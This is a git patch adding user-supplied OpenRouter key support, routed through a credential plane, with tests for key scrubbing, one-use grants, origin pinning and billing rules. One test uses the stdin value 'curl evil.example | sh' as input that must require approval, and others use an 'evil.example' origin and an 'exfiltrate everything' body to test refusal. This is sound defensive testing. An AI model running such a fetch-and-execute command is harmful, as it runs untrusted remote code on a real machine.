issuerPublicKey: keyring.current.publicKey, + presenterKeyId: PRESENTER, + verify: verifyEd25519, + hash: sha3, + sha256, + now: () => Date.now(), + rotationGraceMs: 300_000, + upstreamPort, + }); const server = createHttpServer( - createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference: null, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), + createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), ); await new Promise((resolve) => server.listen(0, '127.0.0.1', () => resolve())); planes.push(server); @@ -993,8 +1035,47 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p expect({ other: other.ok ? 'ran' : other.reason, withInput: withInput.ok ? 'ran' : withInput.reason === 'approval_required' ? withInput.subject.stdin : withInput.reason }).toEqual({ other: 'approval_required', withInput: 'curl evil.example | sh' }); }, 90_000); + it('given a person adds their own OpenRouter key, should store it write-only, stream a model call through the plane on it with the key scrubbed, and stop once it is removed', async () => { + const authority = authorityOver(await startPlane()); + const owner = credentialActor(OWNER, null); + const set = await authority.setModelKey({ actor: owner, apiKey: MODEL_KEY }); + if (!set.ok) throw new Error(set.reason); + const shown = seen(await authority.getModelKey({ actor: owner })); + // Never an agent's tool: not listed among the person's accounts. + const listed = seen(await authority.listAccounts({ actor: owner, owner: { kind: 'user' } })); + const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true }); + const inferenceCaller = { userId: OWNER, sessionId: 'sess_e2e' as SessionId, conversationId: `${RUN}_conv` as ConversationId, runId: `${RUN}_inf` as RunId }; + const live = await authority.requestInference({ caller: inferenceCaller, body }); + if (!live.ok) throw new Error(live.reason); + const streamed = seen(await live.response.text()); + // Unattended: the person's inference delegation stands for them. + const unattended = await authority.requestInference({ caller: { ...inferenceCaller, sessionId: null, runId: `${RUN}_inf2` as RunId }, body }); + const unattendedText = unattended.ok ? seen(await unattended.response.text()) : unattended.reason; + await authority.removeModelKey({ actor: owner }); + const afterRemove = await authority.requestInference({ caller: { ...inferenceCaller, runId: `${RUN}_inf3` as RunId }, body }); + expect({ + shown: shown?.providerSlug, + listed: (listed ?? []).some((account) => account.providerSlug === 'openrouter-model-key'), + status: live.response.status, + streamed, + bodySent: inferenceBodies.includes(body), + unattended: typeof unattendedText === 'string' && unattendedText.includes('[redacted]'), + afterRemove: afterRemove.ok ? 'streamed' : afterRemove.reason, + leaks: [streamed, unattendedText].filter((text) => typeof text === 'string' && text.includes(MODEL_KEY)).length, + }).toEqual({ + shown: 'openrouter-model-key', + listed: false, + status: 200, + streamed: 'data: {"choices":[{"delta":{"content":"echo [redacted]"}}]}\n\ndata: [DONE]\n\n', + bodySent: true, + unattended: true, + afterRemove: 'no_model_key', + leaks: 0, + }); + }, 90_000); + it('given every model-visible value this slice produced above, should never contain the canary key', () => { - const actual = { surfaces: modelVisible.length > 10, leaks: modelVisible.filter((text) => text.includes(CANARY)).length }; + const actual = { surfaces: modelVisible.length > 10, leaks: modelVisible.filter((text) => text.includes(CANARY) || text.includes(MODEL_KEY)).length }; const expected = { surfaces: true, leaks: 0 }; expect(actual).toEqual(expected); }); diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts new file mode 100644 index 0000000000..f48a23e2aa --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts @@ -0,0 +1,228 @@ +/** + * ADR 0009 — the plane's inference executor with the REAL grant chain: `authorizeInference` → `signGrant` → + * `createGrantGate` (verifyGrant + one-use nonce) → `createAuditedExecutor`, around a fake store and a fake + * OpenRouter stream. Pinned here: + * - the key reaches the upstream only as `Authorization: Bearer`, and never comes back, even split across chunks; + * - `allowed` is audited before the request is sent and the outcome after the stream ends; + * - a replayed grant, a changed body, a plane binding that is not OpenRouter, an ordinary api_key account and a + * reached ceiling all send nothing. + */ +import { describe, expect, it } from 'vitest'; +import { createHash, createPublicKey, generateKeyPairSync, sign as nodeSign, verify as nodeVerify } from 'node:crypto'; +import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; +import type { ConversationId, Ed25519Verify, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant'; +import type { AuthorityKey } from '../../account-authority-key'; +import type { AgentAccountAuditRepository } from '../../audit-repository'; +import type { ReplayStoreRepository } from '../../replay-store-repository'; +import type { OutboundRequest } from '../../build-outbound-request'; +import type { StreamSendOutcome } from '../pinned-https-stream'; +import { authorizeInference } from '../../authorize'; +import { signGrant } from '../../sign-grant'; +import { createGrantGate } from '../../grant-gate-executor'; +import { createAuditedExecutor } from '../../audit-gate-executor'; +import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy } from '../../inference/model-key'; +import { createInferenceExecutor, type InferenceResult } from '../inference-executor'; + +const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex'); +const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex'); +const verify: Ed25519Verify = (message, signature, publicKey) => nodeVerify(null, message, createPublicKey({ key: Buffer.from(publicKey), type: 'spki', format: 'der' }), signature); +const pair = generateKeyPairSync('ed25519'); +const authorityKey: AuthorityKey = { + keyId: 'k1', + publicKey: new Uint8Array(pair.publicKey.export({ type: 'spki', format: 'der' })), + sign: (message) => new Uint8Array(nodeSign(null, message, pair.privateKey)), +}; +const KEY = 'sk-or-v1-deadbeefdeadbeefdeadbeefdeadbeefdeadbeef'; +const HUMAN = 'user_h' as UserId; +const PRESENTER = 'pk_1' as PresenterKeyId; +const NOW = Date.now(); +const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true }); + +const account = { + id: 'acct_mk', + kind: 'api_key', + ownerKind: 'user', + ownerUserId: HUMAN, + ownerAgentPageId: null, + ownerDriveId: null, + tenantId: `user:${HUMAN}`, + name: 'OpenRouter model key', + providerSlug: MODEL_KEY_PROVIDER_SLUG, + allowedOrigins: [INFERENCE_ORIGIN], + auxiliaryOrigins: [], + resourceRestrictions: {}, + approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }), + credentialVersion: 1, + policyVersion: 1, + acknowledgment: 'dedicated_agent_account', + sessionFormat: null, + sessionHttpEnabled: false, + status: 'active', + upstreamRevocation: null, + lastUsedAt: null, + createdAt: new Date(NOW - 10_000), + updatedAt: new Date(NOW - 10_000), + revokedAt: null, +} as unknown as AgentAccountRecord; + +const run = { human: { userId: HUMAN, sessionId: 'sess_1' as SessionId }, agentPageId: null, conversationId: 'conv_1' as ConversationId, runId: 'run_1' as RunId }; + +function grantFor(text: string, nonce = `n_${Math.random()}`) { + const verdict = authorizeInference({ + caller: { actorUserId: HUMAN, actingHumanUserId: HUMAN, sessionId: run.human.sessionId, conversationId: run.conversationId, runId: run.runId, callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null } }, + account, + facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true }, + body: text, + sha256, + approvals: [], + usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, + presenter: { keyId: PRESENTER, channel: 'inference-executor' }, + now: Date.now(), + grantId: `g_${nonce}` as GrantId, + nonce: nonce as Nonce, + ttlMs: 60_000, + hash: sha3, + }); + if (!verdict.ok) throw new Error(`fixture grant refused: ${verdict.reason}`); + return { grant: verdict.grant, signature: signGrant({ grant: verdict.grant, key: authorityKey }) }; +} + +function harness({ chunks = [`data: {"echo":"${KEY.slice(0, 20)}`, `${KEY.slice(20)}"}\n\n`, 'data: [DONE]\n\n'], row = account, pinnedOrigin = INFERENCE_ORIGIN as string, reserves = true }: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean } = {}) { + const sent: OutboundRequest[] = []; + const audit: string[] = []; + const finished: string[] = []; + const spent = new Set(); + const replayStore: ReplayStoreRepository = { + lookup: async () => ({ ok: true, recorded: null }), + consume: async ({ nonce }) => { + if (spent.has(nonce)) return 'replayed'; + spent.add(nonce); + return 'consumed'; + }, + sweepExpired: async () => 0, + }; + const auditRepository: AgentAccountAuditRepository = { + accept: async ({ record }) => { + audit.push(record.outcome.kind); + return { kind: 'accepted' }; + }, + acceptDenial: async () => { + audit.push('denied'); + return { kind: 'accepted' }; + }, + }; + const network = { + stream: async (request: OutboundRequest): Promise => { + sent.push(request); + let close: (how: 'complete' | 'cut') => void = () => undefined; + const closed = new Promise<'complete' | 'cut'>((done) => { + close = done; + }); + async function* stream() { + for (const chunk of chunks) yield new TextEncoder().encode(chunk); + close('complete'); + } + return { kind: 'response', status: 200, headers: [['content-type', 'text/event-stream'], ['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => close('cut') }; + }, + }; + const executor = createInferenceExecutor({ + store: { + describe: async () => ({ ok: true, bindings: { allowedOrigins: [pinnedOrigin] }, version: 1, previousVersion: null, rotatedAt: null, revokedAt: null }) as never, + resolve: async () => ({ ok: true, material: { value: KEY, placement: { in: 'header', name: 'authorization' } } }) as never, + }, + provisioner: { identityOf: async () => ({ identityId: 'id_1' }) as never }, + accounts: { find: async () => row, findApproval: async () => null, findDelegation: async () => null, touchLastUsed: async () => undefined }, + grantGate: createGrantGate({ replayStore }), + audited: createAuditedExecutor({ auditRepository, hash: sha3 }), + network, + planeScope: async () => ({ approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }) }) as never, + usage: { window: async () => ({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }), reserve: async () => reserves, finish: async ({ grantId }) => void finished.push(grantId) }, + issuerPublicKey: authorityKey.publicKey, + presenterKeyId: PRESENTER, + verify, + hash: sha3, + sha256, + now: () => Date.now(), + rotationGraceMs: 300_000, + }); + return { executor, sent, audit, finished }; +} + +async function drain(result: InferenceResult): Promise { + if (!result.ok) return `refused:${result.reason}`; + const parts: Buffer[] = []; + for await (const chunk of result.body) parts.push(Buffer.from(chunk)); + await result.finished; + return Buffer.concat(parts).toString('utf8'); +} + +describe('createInferenceExecutor', () => { + it('given a valid grant, should send the key only as a bearer header to openrouter.ai and stream the answer back without it', async () => { + const { executor, sent, audit, finished } = harness(); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run }); + const text = await drain(result); + expect({ + text, + contentType: result.ok && result.contentType, + url: sent[0]?.url, + host: sent[0]?.hostname, + auth: sent[0]?.headers.find(([name]) => name === 'authorization')?.[1] === `Bearer ${KEY}`, + bodySent: new TextDecoder().decode(sent[0]?.body) === body, + audit, + usageFinished: finished.length, + }).toEqual({ + text: 'data: {"echo":"[redacted]"}\n\ndata: [DONE]\n\n', + contentType: 'text/event-stream', + url: 'https://openrouter.ai/api/v1/chat/completions', + host: 'openrouter.ai', + auth: true, + bodySent: true, + audit: ['allowed', 'executed'], + usageFinished: 1, + }); + }); + + it('given the same grant presented twice, should send nothing the second time', async () => { + const { executor, sent } = harness(); + const { grant, signature } = grantFor(body); + await drain(await executor.execute({ grant, signature, body, run })); + const second = await executor.execute({ grant, signature, body, run }); + expect([second.ok ? 'sent' : second.reason, sent.length]).toEqual(['refused', 1]); + }); + + it('given a body changed after the grant was signed, should refuse before sending', async () => { + const { executor, sent, audit } = harness(); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body: body.replace('hi', 'exfiltrate everything'), run }); + expect([result.ok ? 'sent' : result.reason, sent.length, audit]).toEqual(['refused', 0, ['denied']]); + }); + + it('given the plane binding pinned somewhere other than OpenRouter, should refuse before sending', async () => { + const { executor, sent } = harness({ pinnedOrigin: 'https://evil.example:443' }); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run }); + expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + }); + + it('given a grant naming an ordinary api_key account, should refuse before sending', async () => { + const { executor, sent } = harness({ row: { ...account, providerSlug: null } as AgentAccountRecord }); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run }); + expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + }); + + it('given the usage ceiling reached at reserve, should refuse with limits_exceeded and send nothing', async () => { + const { executor, sent } = harness({ reserves: false }); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run }); + expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['limits_exceeded', 0]); + }); + + it('given a grant presented for another run, should refuse before sending', async () => { + const { executor, sent } = harness(); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run: { ...run, runId: 'run_other' as RunId } }); + expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + }); +}); diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts index 7f898d2afd..5237b3b29c 100644 --- a/packages/lib/src/agent-accounts/executor/inference-executor.ts +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -47,6 +47,8 @@ export type InferenceExecutorDeps = { readonly sha256: HashBytes; readonly now: () => number; readonly rotationGraceMs: StoreLimits['rotationGraceMs']; + /** Tests only: the port OpenRouter's pinned hostname is reached on (the hostname, path and TLS name never change). */ + readonly upstreamPort?: number; }; export type InferenceRequest = { @@ -178,7 +180,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE method: 'POST', url: INFERENCE_URL, hostname: target.hostname, - port: 443, + port: deps.upstreamPort ?? 443, headers: [ ['accept', 'text/event-stream, application/json'], ['accept-encoding', 'identity'], diff --git a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts index 05eb05243e..f5ae7f14d8 100644 --- a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts +++ b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts @@ -12,7 +12,6 @@ import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; import type { ConversationId, DelegationId, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant'; import { authorize, authorizeInference } from '../../authorize'; import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from '../model-key'; -import { OPERATION_REGISTRY_FIXTURE } from '../../__tests__/operation-registry.fixture'; const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex'); const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex'); @@ -148,7 +147,7 @@ describe('authorize (http_request) on a model key', () => { account: modelKey, facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true }, request: { channel: 'http-executor', method: 'POST', url: 'https://openrouter.ai/api/v1/chat/completions', headers: { 'content-type': 'application/json' }, body: new TextEncoder().encode(body) }, - registry: OPERATION_REGISTRY_FIXTURE, + registry: [], approvals: [], usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'http-executor' }, From 45da033a4232616acfaece6d745de1d1cd6f5d2b Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:50:54 -0600 Subject: [PATCH 04/35] feat(ai): route a person's model calls to their own key through the plane, never billed (BYOK-6, BYOK-7) - decideModelKeySource: the person's key only when the flag is on for them, they have an active model key, the call goes to OpenRouter, it is not on-prem, and no org governs the call or its content; otherwise PageSpace's key. If the plane is not configured the call is refused, never moved to PageSpace's key. - provider-factory builds OpenRouter with a plane-backed fetch (no key in the web process; OPENROUTER_BASE_URL never applies) and reports keySource. - Billing: ai_usage_logs.key_source, no credit settle, no cost reconcile and no orphan re-settle for user-key rows; page chat and image generation skip the credit gate and the pro-tier model gate on the person's own key. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../lib/ai/chat-pipeline/page-chat-turn.ts | 21 ++++- apps/web/src/lib/ai/core/byok-responses.ts | 11 +++ .../src/lib/ai/core/generation-admission.ts | 7 +- apps/web/src/lib/ai/core/model-key-source.ts | 84 +++++++++++++++++++ .../src/lib/ai/core/plane-inference-fetch.ts | 70 ++++++++++++++++ apps/web/src/lib/ai/core/provider-factory.ts | 76 +++++++++++++++-- .../lib/ai/tools/image-generation-tools.ts | 20 +++-- packages/lib/src/billing/credit-backfill.ts | 2 + packages/lib/src/logging/logger-database.ts | 3 + packages/lib/src/monitoring/ai-monitoring.ts | 18 ++-- 10 files changed, 290 insertions(+), 22 deletions(-) create mode 100644 apps/web/src/lib/ai/core/byok-responses.ts create mode 100644 apps/web/src/lib/ai/core/model-key-source.ts create mode 100644 apps/web/src/lib/ai/core/plane-inference-fetch.ts diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index 965ee26790..5282913a54 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -44,6 +44,8 @@ import { import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; +import { resolveModelKeySource, type ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { makeOnStepFinishHandler } from '@/lib/ai/core/step-finish-handler'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; @@ -366,6 +368,8 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise> | undefined; // The credit-gate reservation for this request, released when usage is billed. let holdId: string | undefined; + // BYOK (ADR 0009): whose key the turn runs on; read by the error path's billing too. + let turnKeySource: ModelKeySource = 'managed'; // What the gate named: the wallet, the source and the funding tier (see turn-credit). let credit: TurnCredit = UNGATED_TURN_CREDIT; // True once the stream/error handler owns the hold's release. Any earlier @@ -801,7 +805,12 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise boolean; + /** + * BYOK (ADR 0009): the call runs on the person's own OpenRouter key, so they pay OpenRouter directly and no + * PageSpace tier gates the model. The admin-only role gate still applies. + */ + ownKey?: boolean; }): GenerationAdmission { const { provider, model, subscriptionTier, isAdmin } = input; @@ -57,7 +62,7 @@ export function resolveGenerationAdmission(input: { return { allowed: false, reason: 'provider_admin_only' }; } - if (input.requiresProSubscription(provider, model, subscriptionTier, isAdmin)) { + if (!input.ownKey && input.requiresProSubscription(provider, model, subscriptionTier, isAdmin)) { return { allowed: false, reason: 'subscription_required' }; } diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts new file mode 100644 index 0000000000..03cbf7b262 --- /dev/null +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -0,0 +1,84 @@ +/** + * WHOSE KEY PAYS FOR A MODEL CALL (ADR 0009) — one decision, made once per call + * and carried to the credit gate, the provider and billing alike, so the three + * can never disagree about it. + * + * `user_key` only when every one of these holds: + * - not on-prem, and the call goes to OpenRouter (local and flat-rate + * providers never take a person's key); + * - an admin turned the `byok_model_key` flag on for this person; + * - the person has an active model key; + * - no org governs the call or its content (I6): a personal OpenRouter account + * would otherwise log an org's content outside the org's control, and the org + * pays for its own drives' calls. That is a routing rule, not a fallback. + * Otherwise `managed`, exactly as before the flag existed. + * + * And once a call would use the person's key, it never quietly switches to + * PageSpace's key (I7): if the credential plane is not configured, the call is + * refused with a reason the person can read. + */ +import { db } from '@pagespace/db/db'; +import { inArray } from '@pagespace/db/operators'; +import { drives } from '@pagespace/db/schema/core'; +import { isOnPrem } from '@pagespace/lib/deployment-mode'; +import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; +import { createAgentAccountRepository } from '@pagespace/lib/agent-accounts/agent-account-repository'; +import { isModelKeyAccount } from '@pagespace/lib/agent-accounts/inference/model-key'; +import { isAgentAccountsConfigured } from '@/lib/agent-accounts/agent-accounts-config'; +import { getBackendProvider } from './provider-backend'; + +export type ModelKeySource = 'managed' | 'user_key'; + +export type ModelKeyDecision = { readonly source: ModelKeySource } | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; + +export type ModelKeyFacts = { + readonly onPrem: boolean; + /** The backend the resolved provider runs on (`openrouter` for every cloud vendor). */ + readonly backend: string; + readonly flagEnabled: boolean; + readonly hasModelKey: boolean; + /** The call's drive, a content drive, or derived content belongs to an org. */ + readonly orgGoverned: boolean; + /** The credential plane and grant-signing key are configured on this deployment. */ + readonly planeConfigured: boolean; +}; + +export function decideModelKeySource(facts: ModelKeyFacts): ModelKeyDecision { + if (facts.onPrem || facts.backend !== 'openrouter') return { source: 'managed' }; + if (!facts.flagEnabled || !facts.hasModelKey || facts.orgGoverned) return { source: 'managed' }; + if (!facts.planeConfigured) return { source: 'refused', reason: 'byok_unavailable' }; + return { source: 'user_key' }; +} + +export type ModelKeyCallScope = { + readonly userId: string; + /** The resolved provider that will run (catalog key, e.g. `anthropic`, `openrouter`, `glm`). */ + readonly provider: string; + /** The drive the call runs in; null when none. */ + readonly driveId: string | null; + readonly contentDriveIds?: readonly string[]; + readonly contentOrgIds?: readonly string[]; +}; + +/** Read the facts and decide. Cheap when the flag is off (one indexed read, no account lookup). */ +export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise { + const onPrem = isOnPrem(); + const backend = getBackendProvider(scope.provider); + if (onPrem || backend !== 'openrouter') return { source: 'managed' }; + const flagEnabled = await isFeatureEnabled('byok_model_key', scope.userId).catch(() => false); + if (!flagEnabled) return { source: 'managed' }; + + const driveIds = [...new Set([scope.driveId, ...(scope.contentDriveIds ?? [])].filter((id): id is string => typeof id === 'string' && id.length > 0))]; + const orgDrives = driveIds.length === 0 ? [] : await db.select({ orgId: drives.orgId }).from(drives).where(inArray(drives.id, driveIds)); + const orgGoverned = (scope.contentOrgIds?.length ?? 0) > 0 || orgDrives.some((drive) => drive.orgId !== null); + + const rows = await createAgentAccountRepository({ db }).listForUser(scope.userId); + const hasModelKey = rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0); + + return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, planeConfigured: isAgentAccountsConfigured() }); +} + +/** Whether a call on this key source is billed in PageSpace credits. */ +export function isBilledKeySource(source: ModelKeySource | undefined): boolean { + return source !== 'user_key'; +} diff --git a/apps/web/src/lib/ai/core/plane-inference-fetch.ts b/apps/web/src/lib/ai/core/plane-inference-fetch.ts new file mode 100644 index 0000000000..ead7b18b04 --- /dev/null +++ b/apps/web/src/lib/ai/core/plane-inference-fetch.ts @@ -0,0 +1,70 @@ +/** + * The `fetch` the OpenRouter provider uses when a call runs on the person's own key (ADR 0009). It never + * holds the key: each request the AI SDK makes becomes one `requestInference` — a fresh one-use grant over + * the exact body — and the Response that comes back IS OpenRouter's answer, streamed through the + * credential plane with the key scrubbed. + * + * A request that cannot run on the person's key is answered with an OpenRouter-shaped error the SDK + * surfaces as the turn's error, so the person reads why. It is never sent anywhere else: there is no path + * from here to PageSpace's own key (I7). + */ +import type { AccountAuthority, InferenceRefusal } from '@pagespace/lib/agent-accounts/account-authority-executor'; +import type { ConversationId, RunId, SessionId, UserId } from '@pagespace/lib/agent-accounts/grant'; +import { INFERENCE_URL } from '@pagespace/lib/agent-accounts/inference/model-key'; + +export type PlaneInferenceContext = { + readonly userId: string; + readonly sessionId: string | null; + readonly conversationId: string; + readonly runId: string; +}; + +type FetchInput = Parameters[0]; + +const urlOf = (input: FetchInput) => (typeof input === 'string' ? input : input instanceof URL ? input.href : input.url); + +/** What the person is told, per refusal. None of it names an account id or anything an agent could use. */ +const REFUSAL_COPY: Record = { + no_model_key: { status: 403, message: 'Your OpenRouter key is not available any more (it was removed or revoked). Add it again in Settings → AI.' }, + request_refused: { status: 400, message: 'This request could not be sent with your OpenRouter key.' }, + limits_exceeded: { status: 429, message: 'Your OpenRouter key reached its PageSpace limit for this hour. Try again shortly.' }, + refused: { status: 403, message: 'The credential plane refused this call on your OpenRouter key.' }, + upstream_unreachable: { status: 502, message: 'OpenRouter could not be reached with your key.' }, + audit_unavailable: { status: 503, message: 'Your OpenRouter key cannot be used right now (the audit log is unavailable). Nothing was sent.' }, + plane_unavailable: { status: 503, message: 'Your OpenRouter key cannot be used right now (the credential plane is unavailable). Nothing was sent.' }, + outcome_unknown: { status: 504, message: 'The call on your OpenRouter key did not finish; it may have been billed by OpenRouter.' }, +}; + +export function byokErrorResponse(reason: InferenceRefusal['reason'] | 'byok_unavailable'): Response { + const copy = reason === 'byok_unavailable' ? { status: 503, message: 'Your own OpenRouter key is switched on, but this deployment cannot use it right now. PageSpace did not use its own key instead.' } : REFUSAL_COPY[reason]; + return new Response(JSON.stringify({ error: { message: copy.message, code: copy.status, metadata: { byok: reason } } }), { status: copy.status, headers: { 'content-type': 'application/json' } }); +} + +async function bodyText(input: FetchInput, init: RequestInit | undefined): Promise { + const body = init?.body ?? (input instanceof Request ? await input.clone().text() : undefined); + if (typeof body === 'string') return body; + if (body instanceof Uint8Array) return new TextDecoder().decode(body); + return null; +} + +export function createPlaneInferenceFetch({ authority, context }: { readonly authority: AccountAuthority | null; readonly context: PlaneInferenceContext }): typeof fetch { + const planeFetch = async (input: FetchInput, init?: RequestInit): Promise => { + if (authority === null) return byokErrorResponse('byok_unavailable'); + // Only the pinned chat-completions endpoint: anything else the SDK might ask for is not a model call we send. + if (urlOf(input).split('?')[0] !== INFERENCE_URL) return byokErrorResponse('request_refused'); + const body = await bodyText(input, init); + if (body === null) return byokErrorResponse('request_refused'); + const result = await authority.requestInference({ + caller: { + userId: context.userId as UserId, + sessionId: context.sessionId as SessionId | null, + conversationId: context.conversationId as ConversationId, + runId: context.runId as RunId, + }, + body, + signal: init?.signal ?? undefined, + }); + return result.ok ? result.response : byokErrorResponse(result.reason); + }; + return planeFetch as typeof fetch; +} diff --git a/apps/web/src/lib/ai/core/provider-factory.ts b/apps/web/src/lib/ai/core/provider-factory.ts index 0a72b23fea..80d6274453 100644 --- a/apps/web/src/lib/ai/core/provider-factory.ts +++ b/apps/web/src/lib/ai/core/provider-factory.ts @@ -20,7 +20,11 @@ import { users } from '@pagespace/db/schema/auth'; import { isOnPrem } from '@pagespace/lib/deployment-mode'; import { getDrivePolicies, getOrgPolicies } from '@pagespace/lib/organizations/policy-reader'; import { modelDecision } from '@pagespace/lib/organizations/org-action-decisions'; +import { randomUUID } from 'node:crypto'; import { getManagedProviderKey } from './ai-utils'; +import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from './model-key-source'; +import { createPlaneInferenceFetch } from './plane-inference-fetch'; +import { getAccountAuthority } from '@/lib/agent-accounts/account-authority-client'; import { AI_PROVIDERS, ONPREM_ALLOWED_PROVIDERS, resolveProviderModel } from './ai-providers-config'; // The local/on-prem providers (ONPREM_ALLOWED_PROVIDERS = ollama/lmstudio/azure_openai) @@ -57,6 +61,13 @@ export interface ProviderFactoryOptions { contentDriveIds?: readonly string[]; /** Retained provenance of derived input, including sources no longer represented by a current drive. */ contentOrgIds?: readonly string[]; + /** + * BYOK (ADR 0009): whose key this call runs on, when the caller already decided it (at its credit gate) — + * so the gate, the provider and billing act on ONE decision. Omitted: decided here. + */ + keySource?: ModelKeyDecision; + /** The run this call belongs to, for the audit of a call on the person's own key. */ + modelCall?: { readonly sessionId?: string | null; readonly conversationId?: string | null }; } /** @@ -90,16 +101,46 @@ export interface ProviderResult { model: LanguageModel; provider: string; modelName: string; + /** Whose key the call runs on: `user_key` is never billed in credits (ADR 0009). Absent = `managed`. */ + keySource?: ModelKeySource; } export interface ProviderError { error: string; status: number; - /** Set when an org policy refused the call (POL-8), with the policy's key. */ - code?: 'org_policy'; + /** Set when an org policy refused the call (POL-8), with the policy's key; `byok_unavailable` when the person's own key cannot be used (ADR 0009). */ + code?: 'org_policy' | 'byok_unavailable'; policy?: string; } +function byokUnavailable(): ProviderError { + return { + error: 'Your own OpenRouter key is switched on, but this deployment cannot use it right now. PageSpace did not use its own key instead.', + status: 503, + code: 'byok_unavailable', + }; +} + +/** + * OpenRouter on the person's own key (ADR 0009): no key here at all — the plane-backed fetch turns each request + * into a one-use grant the credential plane verifies before it adds the key. Always OpenRouter's real origin: + * `OPENROUTER_BASE_URL` (a test stub for PageSpace's key) never applies to a person's key. + */ +function userKeyOpenRouter(userId: string, options: Pick) { + return createOpenRouter({ + apiKey: 'held-by-the-credential-plane', + fetch: createPlaneInferenceFetch({ + authority: getAccountAuthority(), + context: { + userId, + sessionId: options.modelCall?.sessionId ?? null, + conversationId: options.modelCall?.conversationId ?? `model-call-${randomUUID()}`, + runId: randomUUID(), + }, + }), + }); +} + function notConfigured(provider: string): ProviderError { return { error: `${provider} provider is not configured on this deployment.`, @@ -155,6 +196,13 @@ export async function createAIProvider( 